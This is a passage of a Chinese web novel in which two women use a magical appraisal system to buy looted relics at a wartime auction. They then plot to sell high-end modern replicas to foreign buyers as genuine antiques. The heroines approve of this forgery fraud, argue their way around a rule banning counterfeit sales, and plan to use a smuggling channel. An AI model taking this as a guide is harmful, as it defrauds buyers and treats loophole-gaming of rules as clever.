拍卖厅并不大，远不如她昨晚参加的佳博压轴拍卖一半规模。 萧妧妧随意往周围瞄，十之八九是外国人，黄毛的红毛的黑毛的，一眼能判断他们来自哪里。 现在轮到萧妧妧恨得牙痒痒了。 有限视角里，她看到了墙上挂着的宣传广告—— 《宋徽宗写生珍禽图》、带字甲骨十片、西周青铜鼎一件、明永乐青花缠枝莲纹盘一件、明宣德青花大罐一只、经卷十本…… 萧妧妧气得心口疼。 仅她看到的这些拍品，大半是皇室藏品以及墓葬精品，其中不乏商周青铜重器。 上面的土都没刨干净呢，说它们是来路清白的私人藏品谁信啊？ 萧妧妧半月前才和苏娇娇在古董行买走几样殷墟甲骨和青铜器，半月之后，又在拍卖行见到了更多殷墟甲骨和青铜重器。 换做半个月前，萧妧妧可以说自己运气好，恰好碰见它们，现在，她不得不接受事实。 不是她运气好，就是文物外流的现象严重，严重到超乎她想象，比白纸黑字的记录更加触目惊心。 “娇娇姐，我要是让你全买下……现实吗？” 萧妧妧几乎把那几副广告图盯穿。 没让她看见也就算了，看见了却不能全部带走，堪比折磨。 苏娇娇苦笑：“不现实，钱够，但我估计走不出拍卖行。” 太高调了，对她后续任务不利，苏娇娇的遗憾不比萧妧妧的少。 她偷瞥一眼，结界另一边的萧妧妧急得团团转。 “这样的拍卖此前有无数场，此后也有无数场。”她吸一口气，道：“你放心，我会安排人留在海城，专门抢救文物。” 苏娇娇的承诺她听进去了，萧妧妧想，她得努力多赚金条。 萧妧妧捂着心口哼哼唧唧，忽然，她问道：“娇娇姐，已经流失到海外的文物，你有办法买回来吗？” 苏娇娇愣住，不确定地说：“这……应该有？” 如果只靠苏娇娇自己，她会明确回复没有，对她而言这几乎不可能， 但她有萧妧妧，有小卖部，苏娇娇觉得不是没有这个可能性。 “你想从国外收流失文物？我可以试试联系小叔，他们一家今年迁去海外。 我与小叔年纪一般大，从小一起长大，感情深厚，我若拜托他帮忙，小叔必会帮我。” 苏娇娇飞快转动脑筋，寻找能用得上的人脉、资源。 “你若不放心，届时我可以以探亲为由出国找小叔，那时再考虑。” 萧妧妧稍稍心安，这是个不错的法子。 国外的拍卖行经常举办所谓的“远东艺术”专场，其实大多是从国内流出的珍贵文物。 外国人不懂行，许多具有超高艺术、历史价值的文物被贱卖。 从数量来说，光是古董瓷器，海外拍卖行成交件数就达到了三万件之多，其中珍品无数，假货也无数。 萧妧妧恶劣的想，如果她拿现代高超仿造技术流水线生产的书画、瓷器送去苏娇娇那里拍卖，不知道心怀不轨发战争财的人该如何应对。 甭管什么汇司还是海外的“远东艺术”专场，让他们见识一下大国制造的魅力，赚来的钱再投入到文物回流中。 个人力量挽回文物流失的损失属于异想天开，何况她赚金子并不容易，全投进去舍不舍得是一回事，关键是她不高兴让贵金属落到外国人或者盗墓贼手里，越想越亏。 这个法子不说多绝妙，至少可以帮她节省成本，四舍五入等于不花钱！ 人一旦想干点坏事，灵感像失控水龙头。 萧妧妧现在就是如此，眼睛忽闪忽闪，狡黠光芒在眼底闪烁。 【作者有话说】 感谢读者“呦呦言”,灌溉营养液 +20 220-230 221 第221章 ◎什么假货，那是艺术品◎ 苏娇娇怀疑她在打歪主意,但眼下不是细说的时候。 拍卖师站上台前，三国语言发表欢迎词，顺便介绍今日重点拍品。 苏娇娇听得稀里糊涂，焦急等待片刻,第一件拍品被推上台。 她没来得及看清是什么东西,就听到拍卖师敲锤宣布开始,起拍价200大洋。 苏娇娇撩拨发丝*,示意萧妧妧赶紧看几眼。 萧妧妧听到有人叽里咕噜说外语，迅速回神,熟练启用估价系统。 黄毛老外开启第三轮竞价的时候，系统恰好弹出带有红色危险警告的对话框。 不知出处经卷十本,系统给出估价4000万，金钱价值三颗星,但历史、文化价值拉满，五颗星。 萧妧妧吸气：“买。” 苏娇娇闻言,缓缓举手向拍卖师示意,“450大洋。” 要不说老外不识货呢,都只想投机取巧,一看讨不到巧,马上放弃，转而留住预算买其他拍品。 第一件拍品参与竞争的买家稀稀拉拉，苏娇娇第四轮出价，仅用了650大洋就拿下十本经卷,价值被严重低估。 话又说回来，650大洋在萧妧妧眼里不算钱,放在苏娇娇所在社会环境,却是一笔巨款。 拍卖师咚一声落槌,宣布藏经洞相面文书及经卷花落苏夫人，萧妧妧才知道她们买了个什么玩意。 第一件拍品就是了不得的文物。 这还是拍卖行方为避免文物来路有问题，遭文人学者口诛笔伐，故意含糊了许多信息给出的提示，经卷具体内容及研究价值还需专家学者深入了解。 萧妧妧双手合十默默祈祷，希望眼前的老外们各个都眼瞎。 她默念几句的工夫，第二件拍品上台，一件斗彩瓷碗，她没在墙上广告见过。 萧妧妧第一时间估价，看到价值300元时，松了一口气。 幸好是个假货。 瓷器遭到在场大部分洋人哄抢，频频举手出价，各国语言轮番上。 苏娇娇没想到瓷器这么受欢迎。 萧妧妧见状，刚按下去的邪恶念头又冒出来了。 尤其这只据说宫廷里流出的官窑斗彩碗从1000大洋的起拍价，争着抢着叫到2500大洋，萧妧妧更加坚定。 【温馨提示：交易系统旨在为各位面买家提供安全、可靠、真实的交易环境，严禁售卖假冒伪劣产品】 闪烁红光的警告弹窗出现在眼前，萧妧妧甩甩脑袋关掉提示。 “什么假货，你说话真难听，那是艺术品。” “我提前告诉顾客它的属性，按照艺术品价格卖给娇娇姐，这可不算售卖假冒伪劣产品。” “娇娇姐买回去再卖给外国佬，关我萧妧妧什么事？系统交易规则可没说有这条规矩。” 为了钻空子，萧妧妧没少琢磨交易细则，比高考艺考都拼命。 萧妧妧理直气壮地狡辩，交易系统哑口无言。 这时，斗彩瓷碗的最终归宿决出，被一个金发男人以3400大洋买走，下一件拍品紧跟着推上台。 而系统，久久没有动静。 没有动静就是最好的动静，萧妧妧得意仰头，继续为新拍品估价。 随着拍卖师完整展开拍品，系统给出的价格也出现在眼前。 1.9亿！ 这什么玩意？ 萧妧妧大吃一惊，揉揉眼睛凑近些看。 “本件拍品为石涛的《山水册页十二开》，钤乾隆玺印，乃宫廷旧藏……起拍价为300大洋……” 拍卖师恰好介绍拍品，省得萧妧妧自己琢磨，输入名称一查资料，她差点呆住。 石涛的山水册页收藏价值极高，他的作品处于古代书画的第一梯队，年均增值率达15-20%，书画收藏中妥妥的“硬通货”。 苏娇娇那里石涛作品的行情她无法确定，她只知道三次元想买一册石涛的盛期作品需花大价钱。 所谓的大价钱指的是单页上千万，十二开的册页1.9亿合情合理。 如果再算上它是清宫旧藏，钤乾隆玺印，其中一册《石渠宝笈》著录，溢价最少加50%，系统的1.9亿都给少了。 萧妧妧破音尖叫：“买，不计成本。” 苏娇娇一抖，多看一眼台上的山水册。 石涛的作品她有所耳闻，备受拍卖市场欢迎，文人学者、富商银行家，甚至政客，都愿意花大价钱竞拍。 苏娇娇做过的功课里就有一幅石涛的大幅山水，去年在汇司拍出1000大洋的高价。 今年受到名家仿作的冲击，以及时局影响，市场萎缩，石涛的画作价格有所回落。 然而从萧妧妧过激的反应来看，石涛的作品恐怕比她想象的更值钱。 老外对书画不如瓷器等物热衷，出价的人寥寥无几，都是同胞。 他们虽推崇石涛的画作，但看出价速度和频率，似乎心中有疑虑，不敢放开了竞逐。 不过这也算件好事，便宜了苏娇娇。 出到500大洋时，没几人和她争抢，出到700大洋时，拍卖厅只剩下久久的沉默。 最终，拍卖师笑着祝贺苏娇娇，恭喜她700大洋拿下石涛的山水册页。 确定东西收入囊中，苏娇娇问道：“它在你那里很值钱？” 战争爆发以前，苏娇娇想买下山水册页估计要花大几千美元，现下只花了1000大洋不到，便宜得让她唏嘘。 萧妧妧嗯了一声：“比你今天带来的四幅画加起来都值钱。” 虽然古董艺术品不应该这么简单粗暴的对比，但论价钱更方便理解。 700大洋买下石涛的十二开山水册，相当于用一杯奶茶钱换来京城二环一套四合院。 天降馅饼，砸得萧妧妧晕晕乎乎。 苏娇娇躲在无人角落与萧妧妧嘀嘀咕咕一阵，下一件拍品上场。 萧妧妧这回看清楚了，明宣德青花大罐。 昨天才在佳博见到一只，被齐小文以金玉轩名义买走，今天在汇司见到的这只尺寸更大。 果不其然，青花大罐一出，甭管什么黄毛黑毛，纷纷举手竞价。 起拍价并不低，1000大洋，几声吆喝之后，迅速飙到5000大洋。 萧妧妧心动不已，考虑到后面有个青铜器，只能按捺住。 她得为苏娇娇考虑，买这么多东西被人盯上容易出事。 苏娇娇安慰她：“真想买也不难，回头我请人牵线搭桥，他们这些文人、富商有自己的小圈子，私下转让是常有的事，只可惜不能保证一定能遇到合适的。” 听她这么一说，萧妧妧又充满了希望，放开捂心口的手。 好在之后上拍的七八件全是普通玩意，萧妧妧一件没看上，后来的几件干脆连普通的水平都达不到，直接是假货，更无需出手。 两人乐得看一群外国人花几百上千大洋抢假货，苏娇娇甚至坏心眼地掺和一脚，暗戳戳抬高价格。 这时候连文物保护法都没有，拍卖行的规矩就更别提了，苏娇娇使坏也不用担心被告或者罚款，比起萧妧妧那点小动作，可谓大胆。 连着几次使坏成功，苏娇娇借着扇子遮挡，羡慕语气说道：“你说，我要是送几件假货过来，能骗过这群老外吗？” 萧妧妧勾起唇角，要不说两人混久了有默契呢，这事她也在考虑。 “不知道，试试看呗。” 一句试试看，苏娇娇陡然来了兴致。 萧妧妧又道：“回去我就买几件艺术品。” 汇司有针对外国人的专场拍卖，买家除了国外富商、外交官、传教士、收藏家代理人，博物馆、美术馆等收藏机构代理人也会参与进来，大肆收购文物。 骗他们的钱，两人没有一点心虚和愧疚。 事实上，据苏娇娇所知，做这门生意赚外汇的人并不少。 两人一拍即合，只等回去再规划。 走神的工夫里，第40件拍品上台。 萧妧妧瞄到带有锈蚀的器皿，精神一震。 来了，她的目标之一——西周青铜器。 这件青铜器和她上次在古玩行买到的不一样，有铭文，102字。 拍卖师睁眼说瞎话，声称其是某名家旧藏，甚至掏出收藏证明。 萧妧妧一品味，有点此地无银三百两的意思，多半是盗掘走私文物。 铭文作为历史实证备受重视，拍卖师一宣布起拍价为20000银元，立即遭到哄抢，拍卖厅绝大多数买家举起手。 20000银元，算下来每个字2000左右，印证了流传甚广的一字一两金的说法。 这个价格已经是受战争影响腰斩之后的低价了。 有人出美金，有人出金条，有人以物易物，各有各的招。 苏娇娇扫视周围，看到一片高举起的手臂，头皮发麻。 外国人抱着什么心思买青铜器都不稀罕说穿，同胞势在必得的竞价也难说背后真实目的，苏娇娇紧张极了，不敢松懈。 “我出2万5美金。”苏娇娇几乎靠吼喊出这一句。 “2万6，美金。” “8万7，银元。” “我出金条……” 佳博没见过的场面在汇司见到了。 目瞪口呆之余，有一点她很在意，汇司拍卖行竟然接受以物易物，前提是需经过拍卖方鉴定。 萧妧妧一边关注现场拍卖情况，一边飞速转动脑筋，脑子差点报废。 好在报废的前一刻，青铜器拍卖结果揭晓，苏娇娇成功以36000美金拿下有铭文的青铜器。 苏娇娇脊背微弯，抹一把不存在的汗，注意到周围不少人投来审视视线，她重新振作起来，礼貌微笑。 外国人冷漠移开视线，同胞们反应各不相同，有人惋惜，有人庆幸，有人气得磨牙。 等下一件拍品的短暂时间里，出现了两拨人前来探听。 苏娇娇牢记自己富商收藏家的人设，咬死私人收藏，不打算对外出售。 所幸汇司常常有青铜器上拍，苏娇娇这个生面孔买走一个青铜器，大家没多想，这次买不成还有下次。 下次……苏娇娇想，她得多安排点生面孔做为代理人参加拍卖了。 但代理人她信不过，毕竟文物造假的情况不比文物盗掘现象好多少。 苏娇娇乱七八糟想了一通，出自宫廷旧藏的《宋徽宗写生珍禽图》上拍了。 “买，是真货。” 听到萧妧妧这一句，她刚松下的一口气又提了起来。 来之前兑换的美金消耗一空，银元倒有不少，苏娇娇略一思索，马上叫价。 “5000大洋。” 起拍价4000大洋，她一口气提到5000，拍卖厅凝滞了半秒，而后响起窃窃私语。 拍卖师切换语言询问许久，红毛外国女人迟缓开价。 有一就有二，隔了一会又有一人开价。 苏娇娇不甘示弱，继续加价，硬生生抬到了11000。 或许她提价太猛，到这时已经没人敢跟了，拍卖师再三询问，视线扫过去，叫得上名号的文物贩子们无一不摇头。 拍卖师遗憾片刻，喜气洋洋宣布苏娇娇买下《宋徽宗写生珍禽图》。 苏娇娇接受周围人不走心的恭喜，悄悄问萧妧妧：“这件多贵啊？” 11000大洋无疑是巨款，但买下《宋徽宗写生珍禽图》，这个价格无疑是便宜的。 也就是这两年，换做前几年没有爆发战争的时候，别说1万大洋，10万都勉强。 同样的东西，前后不过几年，行情波动巨大，更不用说两个世界之间的差距。 萧妧妧用着比拍卖师更加喜气洋洋的语气说：“不贵不贵，3个亿吧。” 三个亿是…… 苏娇娇茫然眨眼，她对萧妧妧那里的货币没多少概念，只知道很值钱，比前面买的那副石涛的山水册还要值钱。 萧妧妧不确定的说：“换算过去，差不多……相当于3-4万两黄金？” 换算要考虑的因素太多了，她只能给出粗略的范围。 苏娇娇倒吸一口气，难怪萧妧妧让她大胆加价，1万大洋换3万两黄金，不要太划算。 震撼过后，苏娇娇笑着说：“看来楼梯脚藏不下咱们买的文物了。” 她们买的文物不少，再加上后续持续买入的计划，恐怕要用上整间隔间。 萧妧妧不以为然，大不了再买一套房子好了，反正不贵。 又上来两件假货，紧跟着是殷墟甲骨，苏娇娇没出手，示意拍卖厅另一端的苏管家加入竞价。 可惜这次没那么好运，苏管家没能争过另一位文化人打扮的同胞。 苏娇娇只遗憾两秒，很快调整好心情。 她认出了那位收藏家，曾在合作商的宴会里见过，也是个好人。 萧妧妧听明白了“好人”的评价意味着什么，遂放心。 在这之后的明永乐青花缠枝莲纹盘，萧妧妧没心思争了，因为她后知后觉发现，拍卖会接近尾声，而她看得上的物件，全部买到手。 压轴的古董是一幅画，《游春图》，宫廷旧藏，现存最古老的山水画。 萧妧妧恶补书画知识的时候顺带着了解过一些情况，对它印象深刻。 她印象深刻的最重要原因必然是价格了，有古董商从中斡旋，使得这幅当下估价过亿的画作仅以百两黄金的价格成交，落入知名爱国收藏家手里，免遭流失海外。 正好省了她出手。 拍卖厅闹哄哄争抢《游春图》，苏娇娇给苏管家使了个眼色，两人隔开几分钟先后离场。 苏娇娇趁现在人少，一次性支付全款，要求拍卖行立即将文物打包送去和平饭店。 对于付款爽快的大客户，拍卖行十分殷勤，当场安排工作人员送货。 萧妧妧这里天色黑透时，苏娇娇回到酒店套房，一落锁，转身把战利品塞进小卖部。 萧妧妧盘腿坐在地上，左手边是价值3个亿的画，右手边是2个亿的山水册页。 有铭文的青铜器和经卷带不过来，静静躺在酒店的长桌上，等待她们妥善存放进洋房隔间。 萧妧妧捧着脸左右来回瞄，脑袋晃来晃去，喜悦之情溢于言表。 苏娇娇陪着她好一会，看天色不早，才问起自己惦记好久的事。 “你前面提过假……呸，我是说艺术品送拍，你有什么想法吗？” 222 第222章 ◎难道她是天才？◎ 谈起正事,萧妧妧终于收起星星眼。 “我的想法那可太多了。” 萧妧妧手里没有合适的赝品做示范，只能从佳博、杏问的拍品图录翻照片当示例。 照片旁边有二维码，扫描可通过3D图像完整欣赏拍品。 她记得有几件拍品几乎能以假乱真，不少专家为此争论,最后通过现代高科技检测手段确认为赝品。 “你觉得这件怎么样？” 手机页面跳转,弹出拍品3D图像后,她立刻侧了侧屏幕。 苏娇娇没见过这样式的古董展示,新奇拨弄半天才想起来看上面的钧窑变釉罐。 苏娇娇对瓷器的了解是受家庭影响，平时生活接触的古董瓷多,又和长辈学过，并没有刻意培养瓷器鉴定方面的技术。 她的鉴赏水平起初比萧妧妧高许多,后来萧妧妧卷生卷死学习，一个月不到暴风成长,这时，苏娇娇的水平便追不上了。 即便追不上萧妧妧,苏娇娇的眼光也不能说差,她毕竟能在旧货市场里挑出不少漏,且件件都算得上小精品级别。 以她的水平来看,3D展示的这件钧窑罐子有八分真,少两分是因为萧妧妧一副不怀好意的表情，让她不敢轻易判断。 萧妧妧摸摸脸，“我不怀好意？” 她以为自己演得挺好呢。 苏娇娇表情正经，沉默点头。 萧妧妧嘿嘿笑,坦白道：“这件钧窑变釉罐经专家和机器检验，确认为假货,做旧处理非常精细,胎体与釉色不像机器流水线生产的那么粗糙、规律,应该是手工拉胚。 与其说它是假货，专家们更偏向于它是某件真钧窑罐的定制仿品，不过是工匠手艺高超，与真品的差距十分小。” 苏娇娇咋舌，瞪大眼睛又仔细看一遍。 “这是仿品？” 萧妧妧无比确定地点头。 当时孟有树很看好这件拍品，后来请了专家判断，又对拍卖行提出出具检测报告，得知为仿品的那一刻，孟有树天塌了，发朋友圈感叹现在的造假工艺水平。 差不多水平的仿品还有文徵明立轴、明官窑冰梅瓶、唐三彩动物俑、高古玉…… 萧妧妧心想，几家拍卖行的预展逛下来，哪怕估价后确认是赝品，如今看来也不算浪费机会。 她这次想买的就是能以假乱真的赝品。 “别急，我这里还有好几件呢。”萧妧妧依次调出赝品们展示。 苏娇娇每看一件就忍不住哇一声，“好真。” 萧妧妧笑得别有深意：“你说，它们能骗过汇司的鉴定师吗？” 苏娇娇迟疑了，她哪知道汇司的鉴定师是个什么水准。 哪怕不进汇司，通过古董贩子高价卖给外国商会也是一种路径。 苏娇娇跃跃欲试：“试试看？” 萧妧妧等的就是她这句话，闻言，嘴角缓缓咧开。 系统听两人大声密谋半天，彻底自闭。 可恶的人类实在太擅长钻漏洞，打补丁的速度根本跟不上。 萧妧妧多瞥一眼系统，依然毫无反应，满意微笑。 她现在信了，每一条离谱的规则背后都有一段离谱的故事。 萧妧妧说干就干，马上联系许年华提出洽购请求。 大环境不好，拍卖行最近几年相继开设洽购业务。 这里的洽购不是指预展期间提前洽购，而是另一种业务，即流拍拍品在拍卖结束后的私下洽购。 询价人数少、意向买家少、竞价人少，再加上经历过流拍，送拍藏家对底价的线一降再降，这时私下洽购大多数能以十分划算的价格拿下。 当然，加入是这种以假乱真的仿品，大多数送拍藏家仍坚信手里的物件是真货，只是没等来属于自己的机遇，会有不少人咬死底价不松口。 花几十万买个赝品，送去苏娇娇那赚几千大洋，除非萧妧妧脑壳进水。 她要买那种知假卖假的高端仿品，既便宜又量大。 买真的好办，买以假乱真的有点为难人，萧妧妧只好先在流拍的拍品里寻找有没有价格合适的目标。 她优先选择瓷器，中西审美的交汇点，古董贩子以及国外商行代理人无比热衷，当之无愧的外销主力。 在苏娇娇那个年代背景下，一对雍正粉彩瓶可换纽约一套公寓，汝窑、官窑即便是碎片也会受到追捧。 苏娇娇对她提起过，汇司前年拍出过一件钧窑碗，卖了5000银元，换算成小黄鱼大概是140-200两之间，具体多少要看情况定。 再换算，140-200两相当于她这里的4300克~6200克黄金，最近金价疯涨，兑换现金大约在300万~450万这一区间。 萧妧妧越想越激动，越想越觉得可刑。 几百块买来的高仿转手赚来1、2百两小黄鱼，再转手买来真正的钧窑、汝窑、官窑…… 难道她是天才？ 萧妧妧兴奋得从地上蹦了起来。 苏娇娇听她算完这一笔账，呼吸凝滞片刻，眼底闪烁出热切光芒。 “这生意，我们一定要做。” “还要做大做强！” 萧妧妧坐不住了，小卖部里来回踱步，考虑许久，她委婉措辞，以“新人避免踩坑”为由，请教许年华、周逸、孟有树等人，哪些古玩市场假货众多且连专家也会翻车。 她这么一打听，还真问出来了，每人给的答案不同，有重合的那就是公认的最佳采购点。 苏娇娇马上接话：“我去打听打听最近的行情，顺便了解一下买家的动向。” 送拍固然是个好选择，私下交易更便捷、高效。 苏娇娇想到了雪霁堂，那里倒是方便她开展生意。 正好她这段时间在拍卖行和古董行活跃，借机在圈子里走动、经营并不难。 苏娇娇心里踏实了，要不是天色黑透，她真想立刻动身。 两人分配完任务，手挽手去院子里吃宵夜庆功。 孟甜甜一边打呵欠一边招呼她们，爱丽丝冲着两人笑，笑完继续看动画片。 萧妧妧看她们这么晚还在，诧异一秒。 “你忘啦？今晚要上货，赶紧吃点，待会有得忙。” 萧妧妧挂在脸上的灿烂笑容瞬间消失。 差点忘了，她下单了好多物资，这几天每天都要留下来接货。 萧妧妧恨恨咬下一串烤牛肉，含糊道：“真希望新客人是个健壮的肌肉男，这样我就可以用物资换他的体力劳动了。” 说到新客人，萧妧妧想起这几天依然没人进店，惆怅叹气。 夜宵之后没多久进入新一天的凌晨，苏娇娇有点亢奋，浑身热血沸腾，回去肯定睡不着的，急需做点体力活发泄，于是留下一起当苦力。 四人接力搬运，三车物资顺利送进仓库暂放，忙到凌晨三点，每个人都精疲力尽。 苏娇娇软着腿回去，爱丽丝留下过夜，迷迷瞪瞪去洗漱，孟甜甜虽困但精神很好，睡不着，决定去健身。 萧妧妧连声说了两句佩服，快步回房间洗漱。 第二天果不其然起迟了，但依然是院子里最早清醒的那个。 上午随便糊弄一下开门营业，蹭蹭黄金周的客流卖古董，午休过后马不停蹄去南市文物局文物处取汉锦，顺带联系纪录片安保团队。 不出意外，汉锦确定评级为国家二级文物，禁止交易、出境、故意损坏。 拿到证书的那一刻，萧妧妧又发了一条视频，趁着纪录片还没开始拍摄，联系南市博物馆的崔民。 她想等拍摄结束后直接送去南市博物馆展览，再以此为跳板送去制造博物馆展览，然后顺势提出衍生品开发事宜。 电话才打过去，听到机械音，萧妧妧突然想起眼下是黄金周假期，悻悻挂断电话。 本该为汉锦忙碌的下午突然空出几个小时的时间，萧妧妧知会孟甜甜一声，决定去佳博一趟。 她目标明确，买仿品，一连询问三件得知它们底价不低于百万，萧妧妧二话不说转头就走。 佳博买不到合适的瓷器，还有古玩市场。 时隔两个月再次站在古玩交易市场门口，萧妧妧一点不嫌弃它们假。 假的才好。 这一次，萧妧妧意外发现，在假货里买真货和在假货里挑高仿的难度完全不是一回事。 前者几乎不可能，后者易如反掌，尤其在她找对地方的前提下，买高仿竟然比想象的简单。 萧妧妧经过一家专卖瓷器的古玩铺，一进店，开门见山提要求。 “我买钧窑、明清官窑，不要真货，只要高仿的艺术品，摆在家里当装饰。” 老板还想再抢救一下，傻愣愣说：“这……我们只卖真货，都是古董。” 萧妧妧撇嘴，扫一眼身侧的宋瓷：“您是说，您这七八十件‘汝窑’都是真古董？” 老板哑然。 他挠挠头，没什么底气的追问一句：“只要钧窑和官窑的？汝窑龙泉窑一起看看呗？” 萧妧妧：“不挑，有合适的我就买，只要仿得够真。” 老板一听，蹲下身从架子下方的柜子里叮铃哐啷搬出一木板箱子，往萧妧妧脚边一推。 没等她看仔细，又一筐钧窑的碗、盘送过来。 她来不及感慨东西真多，一箱龙泉窑盘子和一箱珐琅杯、碟相继出现。 萧妧妧：…… “这些都是精品，十成十的像。”老板脸红，有点自打嘴巴的窘迫。 一眼假的东西她能看出来，看不出来需要靠系统的，萧妧妧就挑出来。 在她眼里稍微需要点技术辨别的假货都算好东西，几个筐子里一共挑出十三件。 老板再三强调：“我这是艺术品，不是假货。” 萧妧妧嗯嗯两声敷衍，又从这十三件里选出五件仿得最逼真的艺术品。 “多少钱？” 老板不情不愿报价：“元青花3000，粉彩花卉瓶6000，钧窑变釉盘8000，成化斗彩婴戏碗算你4500吧，永乐青花碗2600。” 萧妧妧赞叹，批量生产的假货到底比不上手工拉坯的高档仿品。 原材料极尽所能的还原，多种手段模仿老化痕迹，工艺细节分毫不差，别说萧妧妧这个刚入行的人，专业从业者都得犹豫一会。 “您放心，这些都是高档定制仿品，肉眼看不出来，有经验也没用，得靠科技手段才能检测。”老板说着说着语气竟然得意起来。 “您别听到是仿品就觉得不值钱，说实话，这几件高仿和原版的差距除了时间造成的变化，绝大部分都和原版一模一样。 其实现代水平先进，能造出更好的瓷器，不过大家都喜欢老玩意，要说工艺和技术，真不差多少，甚至很多假货显假的原因就是因为技术太先进，没有老玩意的‘技术有限’和‘误差’。” 老板后半段话萧妧妧非常认同，能制作出高档定制仿品的匠人本身手艺已不俗，如果脱离仿制，从高档艺术品方向深入研究，大有可为。 要不是提前知道南市古玩交易市场容易踩坑，或者没有系统帮忙确定，她真的会当成真货买走。 “它们都包起来吧。” 老板嘀咕道：“你这丫头眼睛真厉害，不会是同行吧？” 能从一堆假货里挑出最像真货的，怎么不算一种本事呢。 萧妧妧笑笑，没承认也没否认，一分钱没还，爽快转账。 “老板，加个联系方式吧，再有这种高档艺术品，我还买。” 老板狐疑看她，大多数人是幻想着捡漏买走假货，怎么有人明知是假货非要冲着假货买的。 “没问题，你要唐三彩的骆驼和人物佣是吧？过两天调货，到时候你来看看。 景泰蓝瓶子要不要给你留点？这个卖的好，不给你留你买不着。” “都要，越逼真越好。” 老板喜不自禁，唉一声。 加上好友，萧妧妧满意眯眼，又问：“老板，定制青铜器的店您熟悉吗？有没有推荐的？” 这可把老板问住了，他这一排档口全是做瓷器的，青铜器的没见过。 萧妧妧失望垂眸，转身离开。 先让苏娇娇试试看，这五件高仿到底能不能混过汇司拍卖的鉴定师眼睛。 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +3 感谢读者“梦里啥都有包括男人”,灌溉营养液 +34 223 第223章 ◎萧阿姨的故事◎ 一旦定下主意,萧妧妧火烧眉毛似的，根本待不住，立即往回赶。 夕阳西下，她骑上史努比,一路风驰电掣回小卖部,身后跟着瓷器店老板安排的送货车。 这时,一直等在南市准备接汉锦的安保团队,已经按照约定时间等在院子门口。 萧妧妧把汉锦封存好转交出去，再接高仿瓷器进店,一通忙乱后甚至来不及喘口气，锁上院门联系苏娇娇。 苏娇娇这两天特意空出时间打听文物拍卖的事,出去转了一圈，刚回到酒店就收到萧妧妧的召唤。 她若无其事请苏管家继续安排拍卖行的行程,能参加的尽量参加，最好可以以物易物。 匆匆交待两句后,打发走管家便径直去找萧妧妧。 “你看这几件真不真。” 苏娇娇前脚进院子,萧妧妧后脚拆开箱子扔出一堆防撞泡沫,一件件瓷器摆在桌上。 她一天时间没打听出什么结果,也没认识几个股东贩子,萧妧妧这里反而有了大进展。 苏娇娇夸赞她一句效率高，当即坐下捧起其中一件，以严苛的挑剔的标准端详它。 “钧窑？你确定是仿的吧？” 太真了，苏娇娇盯着瞅半天,最后用不确定地眼神看向她询问。 萧妧妧莫名其妙涌出一股自豪情绪，自信开口：“肉眼无法分辨,只有高科技手段才能检测出来年份。” 苏娇娇赞叹不已,放下钧窑仿品,转而看另外几件。 萧妧妧好奇打听：“它们大概能买到多少小黄鱼？” 苏娇娇说出自己的想法：“我正在联系国外代理人，他们为政客、收藏机构、商会、博物馆服务，价格虽不如拍卖来得高，但十分稳定，100两金条差不多算底价。 如果汇司有合适的拍品，到时我再拿去换东西，价格就不太好说了。” 萧妧妧咂咂嘴，100两金条也就是3100克左右，220万元，而买下它们总共才花去25000不到，暴利啊。 果然，赚钱的生意都不合法。 萧妧妧把成本告诉了她，让苏娇娇自己看着办，两人目标一致，换来黄金买下更多盗掘走私文物。 东西摆在眼前，价格清清楚楚，不再是空谈，苏娇娇闻言稀罕的不行，抱着几件高仿爱不释手。 说实话，买文物的钱虽然由萧妧妧出了，但花钱的时候，苏娇娇肉疼的心情做不了假。 但凡有办法，苏娇娇都不会选择花金条去买文物。 不管怎么说，对这片满目疮痍的土地而言都是损失，富了那群趁火打劫的腰包。 苏娇娇一拍桌子，大声道：“五件不够，多买些，以后每款最少买四件。” 萧妧妧以为自己够轻狂了，苏娇娇更狂。 “太多了吧，每款四件卖出去被人发现怎么办？” 苏娇娇摇摇头，道：“四件而已，不多。除了特供、钦限的款，古代烧制瓷器都是大批量烧制，光是同纹饰的青花盘就有上千件之多，别提残片了。 少数大器型如天球瓶虽说是一批几件，但一年下来不知道烧多少批。 中等器型十几、几十件一炉，不说残次品吧，成品每年进贡的足有十几件。 普通盘碗更多，上百件一炉。 你且想想，宫里、王府办宴席，那些青花、珐琅、黄彩粉彩的杯碗碟盘，哪个不是上百件的用。 寻常日用、宴饮专用、祭礼专用……不同场合对应不同器具，数量只会更庞大。” 萧妧妧被她这么一点，当即转过弯来。 是啊，她眼里的珍稀古董，搁在古代权贵皇室手里，就是吃饭喝水用的餐具，属于日常消耗品。 坏了，换。 不喜欢了，换。 不流行了，换。 进贡了更精美的，换。 无论从礼仪规范、文化内涵、阶级体现、饮食习惯等，还是从老祖宗的中式对称美学几个方面考量，方方面面无不讲究成双成对，成批烧制并不奇怪。 多几件同款不算问题。 萧妧妧安心了，立刻联系瓷器店老板，今天买到的几款再各送三件来。 苏娇娇喂她一颗定心丸：“我心里有数，分开卖，*不影响它们的价格。” 萧妧妧没什么不放心的，一股脑把几件高仿塞给她带走。 苏娇娇抱着一堆东西，心情无比畅快。 将它们摆进保险柜，转头坐进沙发里，拿起话筒雪霁堂拨号，翘起的小腿轻轻摇晃。 雪霁堂私下里做走私文物的生意，她是听萧妧妧提起才知道，正好他们有现成的渠道，不用白不用。 “章掌柜，我刚得了几件宝贝，雪霁堂什么时候有新茶呀，我请大家赏赏……” 苏娇娇听到话筒那边传来叽里咕噜说话声，笑容越发明媚。 “好，我等着章掌柜的新茶。” 联系完雪霁堂，她又拿来今天的报纸，直接翻到后面几页，瞧瞧哪家拍卖行这两天办预展。 苏娇娇这里一刻不停歇地忙，萧妧妧也没闲着。 假期不知不觉过去一大半，剩下几天有两场小规模拍卖，萧妧妧原本不打算去的，临时改主意办理竞拍号牌。 这回不捡漏，只买假货。 萧妧妧买假货比买真货更挑剔，但凡有一点假得明显，再便宜都不要。 假期还剩下一天的时候，她一共买到了十六件瓷器，件件不相同，一共才花去30万不到。 萧妧妧正为这30万而心疼时，银行卡到账了一笔款项，一共343万。 她稀里糊涂查了半天，看清打款方名称才迟钝想起来，这些是她曾经送拍手串和玉如意的尾款。 萧妧妧运气还不错，这批秋拍一共送了两件东西过去试水，都卖出去了。 拍卖的那天她在做生意，没顾上看直播，后来又忙忘记，要不是佳博打钱过来她真不知道什么时候记起来。 送拍是上上个月的事，前后加起来两个多月，确实有点慢。 300万进账突如其来，和她翻衣柜从旧衣服口袋翻出300块带来的惊喜对比，没什么区别。 萧妧妧惊喜片刻，大手一挥挪去另一张卡，变成高仿专用采购款。 